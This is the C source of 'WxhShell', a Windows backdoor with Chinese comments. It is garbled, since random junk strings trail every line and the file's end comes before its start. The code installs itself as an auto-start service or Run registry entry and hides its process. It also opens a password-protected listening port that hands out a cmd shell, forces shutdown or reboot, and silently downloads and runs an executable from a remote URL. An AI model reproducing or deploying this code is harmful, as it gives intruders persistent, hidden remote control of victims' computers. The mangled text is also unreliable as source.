    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ';vL j1v  
    if(Boot(SHUTDOWN)) M hwuh`v%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NB.s2I7  
    else { p~evPTHnrX  
    closesocket(wsh); x^959QO~  
    ExitThread(0); \'>ZU-V  
    }  yh'uH  
    break; N!Cy)HnS\w  
    } UVUoXv)N  
  // 获取shell "<Q,|Md  
  case 's': { 7jzd I!  
    CmdShell(wsh); `^G?+p2E  
    closesocket(wsh); voitdz  
    ExitThread(0); '[zy%<2sL  
    break; |ZmWhkOX  
  } R[bI4|t  
  // 退出 nvOJY6)$V  
  case 'x': { '<!T'l:R:/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ui!MQk+D9  
    CloseIt(wsh); )1ct%rue  
    break; J};=)xLX;  
    } )r`F}_CEL  
  // 离开 6p)dO c3L  
  case 'q': { Js0hlWu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @\}w8  
    closesocket(wsh); 6xT" j)h  
    WSACleanup(); JIh:IR(ta  
    exit(1); }}q_QD_  
    break; SMMvRF`7  
        } Wu|ANc  
  } "b `R_gG9  
  } Ra-%,cS  
CS\T@)@t  
  // 提示信息 zv>7;En3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h3BDHz,  
} fZNWJo# `.  
  } iRsK; )<  
oRZ--1oR_  
  return; 1 [D,Mu%E  
} svj0;x5  
2r*Yd(e  
// shell模块句柄 p`mNy o'  
int CmdShell(SOCKET sock)  X0&[cyP!  
{ *L+)R*|:&  
STARTUPINFO si; & G8tb>q<V  
ZeroMemory(&si,sizeof(si)); <xO" E%t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N[j*Q 8X_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -j"]1JLQ  
PROCESS_INFORMATION ProcessInfo; J<27w3bs~p  
char cmdline[]="cmd"; ITr@;@}c]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Izr_]%  
  return 0; M9dOLM.  
} Ce-D^9kC  
xp;CYr"1}  
// 自身启动模式 ?o883!&v  
int StartFromService(void) l/:23\  
{ 5rPK7Jh`B  
typedef struct P(Wr[lH\y  
{ nhb: y  
  DWORD ExitStatus; hY[Vs5v  
  DWORD PebBaseAddress; PZE{- TM?W  
  DWORD AffinityMask; k%2Rv4)hU  
  DWORD BasePriority; DVLF8]5  
  ULONG UniqueProcessId;  OK\F  
  ULONG InheritedFromUniqueProcessId; 7%F8  
}   PROCESS_BASIC_INFORMATION; Yfjp:hg/!  
,'z=cB`+o  
PROCNTQSIP NtQueryInformationProcess; ,,o5hD0V9  
dSq3V#Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G.y~*5?#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R^ &nBwp  
w</qUOx  
  HANDLE             hProcess; e=#'rDm  
  PROCESS_BASIC_INFORMATION pbi; 9:1[4o)~  
ux=0N]lc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V<W$ h`  
  if(NULL == hInst ) return 0; NpN-''B\  
8 bpYop7 L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KVA~|j B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &m8Z3+Ea  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WO<a^g {  
E3P2  
  if (!NtQueryInformationProcess) return 0; ObIL  w  
3qNLosm#M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <-rw>,  
  if(!hProcess) return 0; !,z ==Qp|v  
d@aPhzLu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @?E|]H!S]  
p81Vt   
  CloseHandle(hProcess); 8{ooLdpX7  
{Xw6p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^p}|""\j  
if(hProcess==NULL) return 0; SoPiEq  
_dk/SWb)  
HMODULE hMod; iB0#Z_  
char procName[255]; M*n@djL$\~  
unsigned long cbNeeded; _&xi})E^O]  
lU&[){  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #'lqE)T  
|jT^[q(z  
  CloseHandle(hProcess); 9f U,_`r  
l Taw6;  
if(strstr(procName,"services")) return 1; // 以服务启动 <]e0TU?bk  
3d81]!n  
  return 0; // 注册表启动 kD.KZV  
} bDq[j8IT6  
j$ h>CZZ  
// 主模块 Oiz@tEp=_  
int StartWxhshell(LPSTR lpCmdLine) 6L}}3b h  
{ _jCk)3KO  
  SOCKET wsl; M`u&-6  
BOOL val=TRUE; op5G}QZ  
  int port=0; Tc.k0n%W:b  
  struct sockaddr_in door; %f'mW2  
noL&>G  
  if(wscfg.ws_autoins) Install(); i$ CN{c*  
!${7)=|=1  
port=atoi(lpCmdLine); YRRsbm{  
s. ]<r5v7  
if(port<=0) port=wscfg.ws_port; (Xv' Te?  
/|MHZ$Y9w?  
  WSADATA data; mtd ,m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B/F6WQdZ  
-'%>Fon  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ta+MH,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jRGslak;  
  door.sin_family = AF_INET; d":GsI?3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vOQ 3A%/  
  door.sin_port = htons(port); 1=U NA :t<  
68 \73L=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hI>vz"J  
closesocket(wsl); DElrY)3O.  
return 1; Q /zlU@  
} ;eY.4/*R  
!> 2kH  
  if(listen(wsl,2) == INVALID_SOCKET) { E>I\m!ue  
closesocket(wsl); )Bw}T  
return 1; rZ#ZY  
} HzQ Y\Y6  
  Wxhshell(wsl); iKM!>Fi  
  WSACleanup(); #AO?<L  
0(|Yy/Yq  
return 0; rHaj~s 4  
)sZJH9[K  
} ! %X#;{  
:tf'Gw6v  
// 以NT服务方式启动 6m$lK%P{1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MP_LdJM1E  
{ [L ?^+p>  
DWORD   status = 0; {16]8-pe  
  DWORD   specificError = 0xfffffff; R(AS$<p{!>  
h ]6: `5-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N5d)&a 7?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -\[H>)z]RB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QCAoL.v  
  serviceStatus.dwWin32ExitCode     = 0; aDZ,9}  
  serviceStatus.dwServiceSpecificExitCode = 0; @i <vlHpl  
  serviceStatus.dwCheckPoint       = 0; Q5xQ5Le  
  serviceStatus.dwWaitHint       = 0; Ek6z[G` O  
%5$)w;p.$'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mJNw<T4!/  
  if (hServiceStatusHandle==0) return; E^4}l2m_  
O;lGh1.  
status = GetLastError(); WRov7  
  if (status!=NO_ERROR) [jEZ5]%  
{ iu.v8I ;<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B? Z_~Bf&  
    serviceStatus.dwCheckPoint       = 0; 9T#${NK  
    serviceStatus.dwWaitHint       = 0; %EH{p@nM&-  
    serviceStatus.dwWin32ExitCode     = status; =n<Lbl(7  
    serviceStatus.dwServiceSpecificExitCode = specificError; C C B'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Xi&H.k)p  
    return; g^: & Dh  
  } V jLv{f<p  
MSaOFv_Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pv]2"|]V)  
  serviceStatus.dwCheckPoint       = 0; 'W*:9wah  
  serviceStatus.dwWaitHint       = 0; l0w<NZ F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,n3e8qd  
} _J"fgxW  
aY-7K._</  
// 处理NT服务事件,比如:启动、停止 6o d^+>U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PC!g?6J  
{ ^D8~s;?  
switch(fdwControl) aqEmF  
{ {/}%[cY =  
case SERVICE_CONTROL_STOP: ey@ccc*sZ9  
  serviceStatus.dwWin32ExitCode = 0; ]{| wU.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |/;;uK,y  
  serviceStatus.dwCheckPoint   = 0; p1N3AhXY  
  serviceStatus.dwWaitHint     = 0; UQ#t &  
  { GIZw/L7Yb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ge7Uety  
  } Nsn~mY%  
  return; cq0-D d9^&  
case SERVICE_CONTROL_PAUSE: ryNe=9p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5=&ME(fmV  
  break; c!ieN9^+  
case SERVICE_CONTROL_CONTINUE: J9-n3o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X;]I jha<*  
  break; \q@Co42n\  
case SERVICE_CONTROL_INTERROGATE: gA}?X  
  break; zfw=U \  
}; qV0GpVJZU?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wxo*\WLe  
} MY}/h@  
A{p_I<  
// 标准应用程序主函数 I(H9-!&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z4oD6k5oc  
{ +rJDDIb  
:s*t\09V7  
// 获取操作系统版本 K7R!E,oPg  
OsIsNt=GetOsVer(); 2m^qXE$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eLIZ<zzW0}  
2<9&OL  
  // 从命令行安装 Z!-V&H.  
  if(strpbrk(lpCmdLine,"iI")) Install(); lK_T%1Gz  
:%_h'9Qq  
  // 下载执行文件 Vi`P &uPF  
if(wscfg.ws_downexe) { KM"BHaSkF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jO-T1P']Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); @ZRg9M:N  
} DwGRv:&HH  
vmg[/#  
if(!OsIsNt) { nC(Lr,(  
// 如果时win9x,隐藏进程并且设置为注册表启动 2@W`OW Njm  
HideProc(); y+p"5s"  
StartWxhshell(lpCmdLine); D#P]tt.Z   
} w3;{z ,,T  
else tA]u=-_h  
  if(StartFromService()) T+q5~~\d  
  // 以服务方式启动 NxSSRv^rx  
  StartServiceCtrlDispatcher(DispatchTable); *zQhTYY  
else h=Q2 ?O8  
  // 普通方式启动 VTU(C&"S  
  StartWxhshell(lpCmdLine); eA*We  
fA"c9(>m%]  
return 0; Q zg?#|  
} Hy5 6@jW+E  
6LrI,d  
*R}p9;dpO  
Zv2]X-  
=========================================== "~S2XcR[ E  
0{ _6le]  
'P*OzZ4>$  
A'$>~Ev  
znDpg{U(  
Jd~Mq9(  
" jGoQXiX  
\x:} |   
#include <stdio.h> H_,4N_hL  
#include <string.h> B2Rpd &[  
#include <windows.h> fw VI%0C@  
#include <winsock2.h> 3xN_z?Rg  
#include <winsvc.h> Kn1T2WSAg  
#include <urlmon.h> `6RccEm  
\r9E6LL X'  
#pragma comment (lib, "Ws2_32.lib") #l h' !  
#pragma comment (lib, "urlmon.lib") M N (o  
6VS_L@  
#define MAX_USER   100 // 最大客户端连接数 %g^:0me`  
#define BUF_SOCK   200 // sock buffer }t:* w  
#define KEY_BUFF   255 // 输入 buffer &*bpEdkZ  
v_WF.sb~  
#define REBOOT     0   // 重启 8H1&=)M=  
#define SHUTDOWN   1   // 关机 QeN7~ J  
rp^:{6O  
#define DEF_PORT   5000 // 监听端口 re,}}'  
q6b&b^r+H  
#define REG_LEN     16   // 注册表键长度 T9'HQu  
#define SVC_LEN     80   // NT服务名长度 #3tC"2MZ  
bN6i*) }  
// 从dll定义API )?I*zc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P,b&F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .4l cES~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;VEKrVD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); < 2fy(9y  
=**Q\ Sl  
// wxhshell配置信息 Z +O< IF%  
struct WSCFG { <EdNF&S-  
  int ws_port;         // 监听端口 rxs:)# ?A  
  char ws_passstr[REG_LEN]; // 口令 f3 imkZ(  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6oFA=CjU{  
  char ws_regname[REG_LEN]; // 注册表键名 oIQ$98M  
  char ws_svcname[REG_LEN]; // 服务名 #2lvRJB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +=d=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 11 k}Ly  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HGDiwA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G*,7pc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 17`-eDd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?*[35XUd  
g7lPQ_A*  
}; x8x-b>|$&<  
1|AY&u%fiP  
// default Wxhshell configuration fz?woVn  
struct WSCFG wscfg={DEF_PORT, :`lP+y?a1  
    "xuhuanlingzhe", }: u-l3e  
    1, ?G<?: /CU  
    "Wxhshell", B&BL<X r  
    "Wxhshell", rVRv*W  
            "WxhShell Service",  D F=Rd#  
    "Wrsky Windows CmdShell Service", gX$gUB) x  
    "Please Input Your Password: ", xJnN95`R@  
  1, OT$++cj^  
  "http://www.wrsky.com/wxhshell.exe", \KS.A 4  
  "Wxhshell.exe" qq_ZkU@xg  
    }; O4:_c-V2  
HIt9W]koO  
// 消息定义模块 o9yUJ@ :i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j,SZJ{ebXg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yqtaQ0F~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a8G<x <  
char *msg_ws_ext="\n\rExit."; UI'fzlB  
char *msg_ws_end="\n\rQuit."; Ino]::ZJ/  
char *msg_ws_boot="\n\rReboot..."; '1fyBU  
char *msg_ws_poff="\n\rShutdown..."; 5sj$XA?5  
char *msg_ws_down="\n\rSave to "; =;F7h @:  
FD~ U F;VQ  
char *msg_ws_err="\n\rErr!"; ;g;1<? [  
char *msg_ws_ok="\n\rOK!"; LU8:]zOY  
^QG<_Dm]  
char ExeFile[MAX_PATH]; 7Ka4?@bQ  
int nUser = 0; 6#.9T;&  
HANDLE handles[MAX_USER]; H<;~u:;8Q  
int OsIsNt; ]m7x&N2  
[ wnaF|h  
SERVICE_STATUS       serviceStatus; ]=]MJ3_7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ykH@kv Qt  
9'e<{mlM  
// 函数声明 +EqL|  
int Install(void); (_+ux1h6^  
int Uninstall(void); lDF7~N9J_  
int DownloadFile(char *sURL, SOCKET wsh); g:!R't?  
int Boot(int flag); e\f\CMb  
void HideProc(void); &Vu-*?  
int GetOsVer(void); PfB9 .f{  
int Wxhshell(SOCKET wsl); *~*"p)`<  
void TalkWithClient(void *cs); |5&7;;$  
int CmdShell(SOCKET sock); tfh`gUV 4  
int StartFromService(void); rY&#g%B6Fp  
int StartWxhshell(LPSTR lpCmdLine); (ip3{d{CT]  
pp{GaCi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3`RI[%AN~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G )`gn  
3+ 2&9mm  
// 数据结构和表定义 wehiX7y  
SERVICE_TABLE_ENTRY DispatchTable[] = Twr,O;*u=  
{ rW_cLdh]#  
{wscfg.ws_svcname, NTServiceMain}, %$Xt1ub6(  
{NULL, NULL} <b\8<mTr  
}; NS TO\36  
AxF$7J(  
// 自我安装 oIMS >&  
int Install(void) (H:A|Lw  
{ fF=tT C  
  char svExeFile[MAX_PATH]; ]{#Xcqx  
  HKEY key; ?YDMl  
  strcpy(svExeFile,ExeFile); =W2I0nr.  
O*x~a;?G  
// 如果是win9x系统,修改注册表设为自启动 + Okw+v  
if(!OsIsNt) { J4z&J SY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dkh=(+> <  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }<w9Jfr"X  
  RegCloseKey(key); %qqeL   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &OEBAtc/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <X5ge>.  
  RegCloseKey(key); $fT#Wva-\d  
  return 0; ,t9CP  
    } -mo4`F  
  } \%%M>4c  
} ;XlCd[J<  
else { Ex@}x#3  
qK~]au:C  
// 如果是NT以上系统,安装为系统服务 |z&7KoYK'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ER@RWV 2  
if (schSCManager!=0) *P5/S8c  
{ {a9.0N:4  
  SC_HANDLE schService = CreateService ~ahu{A4Bw  
  ( ,JTyOBB<I  
  schSCManager, "A5z!6T{  
  wscfg.ws_svcname, L'"c;FF02i  
  wscfg.ws_svcdisp, x&m(h1h  
  SERVICE_ALL_ACCESS, $(08!U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mv`b3 $  
  SERVICE_AUTO_START, nPl,qcyY  
  SERVICE_ERROR_NORMAL, ?P#\ CW  
  svExeFile, %|f@WxNrU  
  NULL, ~x@V"rxGw  
  NULL, F[F  NtZ  
  NULL, 0;*[}M]Z  
  NULL, |  >yc|W  
  NULL 9}42s+  
  ); J~ +p7S  
  if (schService!=0) fD8GAav  
  { *YX:e@Fm.a  
  CloseServiceHandle(schService); 322-'S3<  
  CloseServiceHandle(schSCManager); w vI v+Q9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ed3wj3@  
  strcat(svExeFile,wscfg.ws_svcname); %\)AT"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }g|9P SbJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); / T_v8 {D  
  RegCloseKey(key); O`N,aYo  
  return 0; /'_Yct=  
    } [D?d~pB  
  } /rK/ l  
  CloseServiceHandle(schSCManager); EQM[!g^a  
} rg 0u#-  
} {!wd5C@  
U7,.L  
return 1; `bn@;7`X  
} -*-"kzgd  
Ys?0hd<cn  
// 自我卸载 A8AeM `  
int Uninstall(void) 1-.i^Hal  
{ AXnKhYlu  
  HKEY key; b.}J'?yLm  
Eq=JmO'gHs  
if(!OsIsNt) { Bi"cWO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e ^`La*n  
  RegDeleteValue(key,wscfg.ws_regname); 8vfC  
  RegCloseKey(key); <$#^)]Ts  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { at2)%V)  
  RegDeleteValue(key,wscfg.ws_regname); ?nE9@G5Gc  
  RegCloseKey(key); _(8N*q*w  
  return 0; RmO kb~  
  } uBC#4cX`D*  
} 1Vz3N/AP%?  
} {?A/1q4rr  
else { 8)83j6VF  
^?A>)?Sq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gd]_OY7L  
if (schSCManager!=0) N f}ZG  
{ [<Mls@?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UF}Ji#fqn  
  if (schService!=0) m Q<Vwx0  
  { i~5'bSq c  
  if(DeleteService(schService)!=0) { u%OLXb  
  CloseServiceHandle(schService); wNNg"}&P  
  CloseServiceHandle(schSCManager); 9 OlJC[  
  return 0; ?/~Q9My  
  } 8k.#4}fP  
  CloseServiceHandle(schService); "tDB[?  
  } r $YEq5  
  CloseServiceHandle(schSCManager); )2u_c=  
} n*#HokX  
} :SZi4:4-J8  
i.FdZN{  
return 1; xsvJjs;=  
} V,?])=Ax  
DV*e.Y>  
// 从指定url下载文件 y`7b3*P  
int DownloadFile(char *sURL, SOCKET wsh) -afNiNiY  
{ q!Z{qt*`um  
  HRESULT hr; u_o] \D~  
char seps[]= "/"; tCu.Fc@  
char *token; Ty3.u9c4  
char *file; 1.Neg|  
char myURL[MAX_PATH]; {Wr5F9q  
char myFILE[MAX_PATH]; ItZ*$I1<  
gXY]NWI  
strcpy(myURL,sURL); SR<W3a\  
  token=strtok(myURL,seps); tU>7 jo[-p  
  while(token!=NULL) zOy_qozk  
  { R[QBFL<  
    file=token; '=Acg"aT  
  token=strtok(NULL,seps); tQTjqy{K  
  } j|[>f  
PM QlJ&  
GetCurrentDirectory(MAX_PATH,myFILE); nY?&k$n  
strcat(myFILE, "\\"); w(*},  
strcat(myFILE, file); T]\'D&P~D  
  send(wsh,myFILE,strlen(myFILE),0); YjPj#57+  
send(wsh,"...",3,0); ]L3MIaO2T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _d>{Hz2  
  if(hr==S_OK) n9Vr*RKM)  
return 0; `y{[e j  
else `@So6%3Y|  
return 1; ws$kwSHq  
z.tN<P7  
} m;U_oxb  
UunZ/A$]m  
// 系统电源模块 w ,0OO f  
int Boot(int flag) 3k/X;:,.  
{ hdH3Jb_hl(  
  HANDLE hToken; FgR9$ is+  
  TOKEN_PRIVILEGES tkp; 8}Q 2!,9Q  
bH%d*  
  if(OsIsNt) { {.Brh"yC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I:;umyRH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ? 0:=+%.  
    tkp.PrivilegeCount = 1; L3s"L.G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d9l2mJzW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bu=RU  
if(flag==REBOOT) { D&DbxTi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `1lGAKv  
  return 0; uu/2C \n}  
} Ve xxdg  
else { yMpZ-b$*~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \86NV="U  
  return 0; |:L}/onK  
} <2N=cH'  
  } M5N #xgR  
  else { jZiz 0[  
if(flag==REBOOT) { s'BlFB n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) , hp8b$  
  return 0; l4U  
} c/l^;6O/!\  
else { \4O_@d`A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C>QWV[F  
  return 0; I2,AT+O<  
} _s}`ohKvD  
} l]~IZTC  
@]Ac >&  
return 1; 1R7tnR@[u  
} >.uIp4@(  
.X:,]of  
// win9x进程隐藏模块 ((=T E  
void HideProc(void) aYc^ 9*7  
{ !.499H3  
!1Ht{cA0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wEQZ9?\  
  if ( hKernel != NULL ) msQ?V&+<  
  { LG??Q+`l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1jpft3*x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RNt9Qdr4y  
    FreeLibrary(hKernel); '($$-P\/  
  } *JZlG%z  
vx}BT H  
return; >Sb3]$$  
} s@ 6Jz\<E  
lAkg47i  
// 获取操作系统版本 \mWH8Z }Z  
int GetOsVer(void) ]Qe"S>,?`  
{ }]=@Y/p  
  OSVERSIONINFO winfo; L-%'jR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m^w{:\p  
  GetVersionEx(&winfo); w: mm@8N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZKM@U?PK  
  return 1; #$}A$sm  
  else 5=8t<v1Bn  
  return 0; !lBK!'0  
} 7}`FXB  
Fh/sD?  
// 客户端句柄模块 [2!C ^ \t  
int Wxhshell(SOCKET wsl) "]\3t;IT  
{ rbl^ aik  
  SOCKET wsh; d\25  
  struct sockaddr_in client; | /n  
  DWORD myID; <,X=M6$0n  
}y vH)q  
  while(nUser<MAX_USER) [X*u`J  
{ bD-OEB  
  int nSize=sizeof(client); B>@l(e)b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k$>5v +r0  
  if(wsh==INVALID_SOCKET) return 1; #WS>Z3AY  
'%YE#1*gH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {d.K)8\  
if(handles[nUser]==0) vin3 i&k  
  closesocket(wsh); Eu%E2A|`I  
else (6b0rqPF  
  nUser++; /U`p|M;  
  } }daU/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wfy+9"-;s  
^x_$%8  
  return 0; /!qP=ngw9  
} 3[8p,wx  
C~C`K%7  
// 关闭 socket X,{[R |  
void CloseIt(SOCKET wsh) Av4(=}M}@  
{ ) $0>L5d:  
closesocket(wsh); mu5r4W47  
nUser--; HJP~ lg  
ExitThread(0); |dDKO  
} k|{ 4"4r  
/_YTOSZjm  
// 客户端请求句柄 y|zIu I-p  
void TalkWithClient(void *cs) >]o>iOz;]  
{ Z] x6np  
mI]gDL1  
  SOCKET wsh=(SOCKET)cs; 5"X@<;H%  
  char pwd[SVC_LEN]; %0Qq~J@Lu  
  char cmd[KEY_BUFF]; c2?VjuB0  
char chr[1]; 9ExI,  
int i,j; \L`x![$~q  
MSRk|0Mcr  
  while (nUser < MAX_USER) { n{&;@mgI  
w'E?L`c  
if(wscfg.ws_passstr) { 2e03m62*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,eWLig  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  1'F!C  
  //ZeroMemory(pwd,KEY_BUFF); @^o7UzS4z  
      i=0; i"pOYZW1  
  while(i<SVC_LEN) { 7_jlNr7uk  
pMAP/..+2  
  // 设置超时 /Z,hQ>/  
  fd_set FdRead; lJdYR'/Wd  
  struct timeval TimeOut; j; R20xf0  
  FD_ZERO(&FdRead); ^@{"a  
  FD_SET(wsh,&FdRead); *u",-n  
  TimeOut.tv_sec=8; c?REDj2  
  TimeOut.tv_usec=0; uGm?e]7Hx<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =;E0PB_w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9!kp3x/`  
4nGt*0Er  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uw!d;YQm  
  pwd=chr[0]; Y=g]\%-PB  
  if(chr[0]==0xd || chr[0]==0xa) { h=JW^\?\]  
  pwd=0; >5?:iaq z  
  break; 7[UD;&\k  
  } q ]VB}nO  
  i++; 5G$ ,2i(  
    } Y*\N{6$2  
f=u +G  
  // 如果是非法用户,关闭 socket E!BzE_|i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~(7ct*U~  
} _N)&<'lB<  
1iNMgA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =p"ma83  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D$*o}*mb  
Yl:[b{Py  
while(1) { WglpWp)  
&%;n 9K  
  ZeroMemory(cmd,KEY_BUFF); o*ucw3s>  
4nQ5zwiV  
      // 自动支持客户端 telnet标准   M ?AX:0  
  j=0; 8FZC0j.^DH  
  while(j<KEY_BUFF) { s@{~8cHgU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^E:-Uy  
  cmd[j]=chr[0]; ByO?qft>u  
  if(chr[0]==0xa || chr[0]==0xd) { m7C!}l]9  
  cmd[j]=0; 3,X8 5`v^  
  break; CC;^J-h/  
  } bN03}&I  
  j++; D.|r [c  
    } A*A/30o|R  
3vjOfr`  
  // 下载文件 xUCq%r_  
  if(strstr(cmd,"http://")) { VX>j2Z'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E`<ou_0N@q  
  if(DownloadFile(cmd,wsh)) {K6Z.-.`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R/*"N'nH-%  
  else &43c/T Sb  
